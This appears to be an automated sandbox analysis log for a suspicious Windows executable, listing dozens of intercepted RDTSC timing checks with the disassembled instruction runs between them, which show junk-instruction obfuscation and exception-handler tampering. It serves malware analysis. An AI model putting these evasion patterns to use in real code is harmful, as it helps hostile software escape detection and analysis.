Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D69CA second address: 9D69CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D7A35 second address: 9D7A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D6B6F second address: 9D6B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F87A4B03876h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jl 00007F87A4B03880h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D7BA1 second address: 9D7BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D6B88 second address: 9D6BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push esi 0x00000008 mov ebx, 60F6F0F1h 0x0000000d pop ebx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jl 00007F87A4B0388Ch 0x0000001b jmp 00007F87A4B03886h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 sbb edi, 4EE0DA22h 0x0000002d mov dword ptr [ebp+122D22ECh], edi 0x00000033 mov eax, dword ptr [ebp+122D0C25h] 0x00000039 stc 0x0000003a push FFFFFFFFh 0x0000003c add ebx, dword ptr [ebp+1247588Fh] 0x00000042 push eax 0x00000043 jbe 00007F87A4B0389Bh 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F87A4B03889h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D8A2B second address: 9D8A9F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A450AC78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub di, 7753h 0x00000010 push 00000000h 0x00000012 mov bx, ax 0x00000015 mov dword ptr [ebp+1246829Ch], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F87A450AC68h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D22FFh] 0x0000003d xchg eax, esi 0x0000003e jmp 00007F87A450AC78h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D6BFD second address: 9D6C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D7BA8 second address: 9D7C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, 0D4A16DEh 0x0000000f push dword ptr fs:[00000000h] 0x00000016 xor dword ptr [ebp+122D23AEh], esi 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 jmp 00007F87A450AC73h 0x00000028 mov eax, dword ptr [ebp+122D0C09h] 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F87A450AC68h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 or ebx, 79AE5822h 0x0000004e push FFFFFFFFh 0x00000050 mov dword ptr [ebp+122D1C45h], edx 0x00000056 nop 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D7C18 second address: 9D7C30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03884h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D7C30 second address: 9D7C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F87A450AC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DBBCA second address: 9DBBCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DCA0B second address: 9DCA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DCA0F second address: 9DCA13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DCA13 second address: 9DCA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DAC52 second address: 9DAC58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DAC58 second address: 9DAC72 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnl 00007F87A450AC68h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F87A450AC66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E0876 second address: 9E088F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F87A4B0387Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E088F second address: 9E089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A450AC6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E089F second address: 9E08A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E08A3 second address: 9E08D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or bx, 3E00h 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 jl 00007F87A450AC69h 0x00000017 mov di, si 0x0000001a mov di, F986h 0x0000001e popad 0x0000001f push 00000000h 0x00000021 mov dword ptr [ebp+122D1A72h], edi 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jne 00007F87A450AC68h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DBCED second address: 9DBCF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DBDA2 second address: 9DBDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DBDA6 second address: 9DBDAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DEC04 second address: 9DEC0A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DBDAC second address: 9DBDB1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DFB3A second address: 9DFB40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DFB40 second address: 9DFB4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9DFB4D second address: 9DFBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007F87A450AC6Ch 0x0000000b jne 00007F87A450AC66h 0x00000011 popad 0x00000012 nop 0x00000013 adc di, AC00h 0x00000018 jl 00007F87A450AC6Ch 0x0000001e push dword ptr fs:[00000000h] 0x00000025 jc 00007F87A450AC6Ch 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov bh, E7h 0x00000034 jnp 00007F87A450AC66h 0x0000003a mov eax, dword ptr [ebp+122D13E9h] 0x00000040 movsx edi, cx 0x00000043 push FFFFFFFFh 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F87A450AC68h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 00000019h 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f mov ebx, dword ptr [ebp+122D35D0h] 0x00000065 nop 0x00000066 pushad 0x00000067 jmp 00007F87A450AC6Fh 0x0000006c jmp 00007F87A450AC6Bh 0x00000071 popad 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 ja 00007F87A450AC66h 0x0000007c pop eax 0x0000007d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E0A38 second address: 9E0A45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E0A45 second address: 9E0A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E0A49 second address: 9E0A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E0B16 second address: 9E0B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E930C second address: 9E9316 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E8B1C second address: 9E8B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E8B20 second address: 9E8B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E8C5D second address: 9E8C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9E8DD7 second address: 9E8DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9EAC0C second address: 9EAC2F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F87A450AC76h 0x00000008 pushad 0x00000009 jnc 00007F87A450AC66h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F0CC0 second address: 9F0CDE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F87A4B03888h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F23A7 second address: 9F23B1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F23B1 second address: 9F23DA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F87A4B03878h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007F87A4B03884h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F23DA second address: 9F23E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F23E0 second address: 9F241C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F87A4B03889h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 jmp 00007F87A4B03883h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F26B3 second address: 9F26E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007F87A450AC7Bh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F26E0 second address: 9F26E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F26E4 second address: 9F2727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [eax] 0x0000000c jl 00007F87A450AC74h 0x00000012 jmp 00007F87A450AC6Eh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F87A450AC73h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F6DFC second address: 9F6E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jno 00007F87A4B03876h 0x0000000c jno 00007F87A4B03876h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F721B second address: 9F723B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F87A450AC76h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F73B2 second address: 9F73D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F87A4B03888h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F73D0 second address: 9F7401 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F87A450AC6Ch 0x00000008 jnl 00007F87A450AC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F87A450AC68h 0x00000018 jmp 00007F87A450AC77h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F7401 second address: 9F7406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F778F second address: 9F7795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F7795 second address: 9F7799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9F7799 second address: 9F77B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jbe 00007F87A450AC66h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 982493 second address: 9824C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A4B03881h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F87A4B0387Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F87A4B0387Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9824C4 second address: 9824C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9824C8 second address: 9824CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A01D5D second address: A01D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F87A450AC70h 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F87A450AC66h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A01D7C second address: A01D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A01D80 second address: A01D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A01D86 second address: A01DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B03880h 0x00000009 jne 00007F87A4B03876h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A009C7 second address: A009E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC6Eh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A009E0 second address: A009E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A00B48 second address: A00B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A00DEE second address: A00DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A00DF5 second address: A00DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A00DFB second address: A00E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 jmp 00007F87A4B0387Fh 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop esi 0x00000011 pushad 0x00000012 js 00007F87A4B03876h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A014D0 second address: A014D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A014D9 second address: A014DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A01674 second address: A01683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007F87A450AC7Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A017E8 second address: A01815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F87A4B0387Eh 0x0000000e pushad 0x0000000f jo 00007F87A4B03876h 0x00000015 jns 00007F87A4B03876h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9AC2AE second address: 9AC2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 jmp 00007F87A450AC6Ah 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F87A450AC6Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9AC2CC second address: 9AC2E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0058D second address: A005D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a jmp 00007F87A450AC77h 0x0000000f pushad 0x00000010 jmp 00007F87A450AC72h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c jmp 00007F87A450AC6Eh 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A089CA second address: A089E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A4B0387Ch 0x00000009 push edx 0x0000000a pop edx 0x0000000b jno 00007F87A4B03876h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A07777 second address: A0777C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0777C second address: A07787 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F87A4B03876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A07952 second address: A07957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CF6C4 second address: 9CF747 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F87A4B0387Fh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F87A4B03878h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D235Dh], edx 0x00000031 lea eax, dword ptr [ebp+124864AAh] 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F87A4B03878h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 call 00007F87A4B03884h 0x00000056 mov dh, 35h 0x00000058 pop edi 0x00000059 nop 0x0000005a push esi 0x0000005b push eax 0x0000005c push edx 